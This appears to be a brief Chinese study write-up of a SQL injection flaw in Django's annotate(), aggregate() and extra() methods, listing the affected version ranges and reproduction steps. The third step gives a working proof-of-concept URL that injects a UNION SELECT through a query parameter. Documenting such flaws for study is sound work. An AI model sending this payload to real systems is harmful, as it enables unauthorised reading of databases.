漏洞描述:
Django 是用 Python 开发的一个免费开源的 Web 框架,几乎囊括了 Web 应用的方方面面,可以用于快速搭建高性能、优雅的网站,Django 提供了许多网站后台开发经常用到的模块,使开发者能够专注于业务部分。
漏洞利用条件:
通过**kwargs传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击。
漏洞影响范围:
4.0<=Django<4.0.4
3.2<=Django<3.2.13
2.2<=Django<2.2.28
漏洞复现:
1.通过访问报错页面,查看存在的接口:
2.访问存在接口:
3.使用报错提示的参数进行sql注入:POC: http://ip:port/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
修复建议:
关注厂商修复漏洞
学习记录过程,仅供参考!!!!!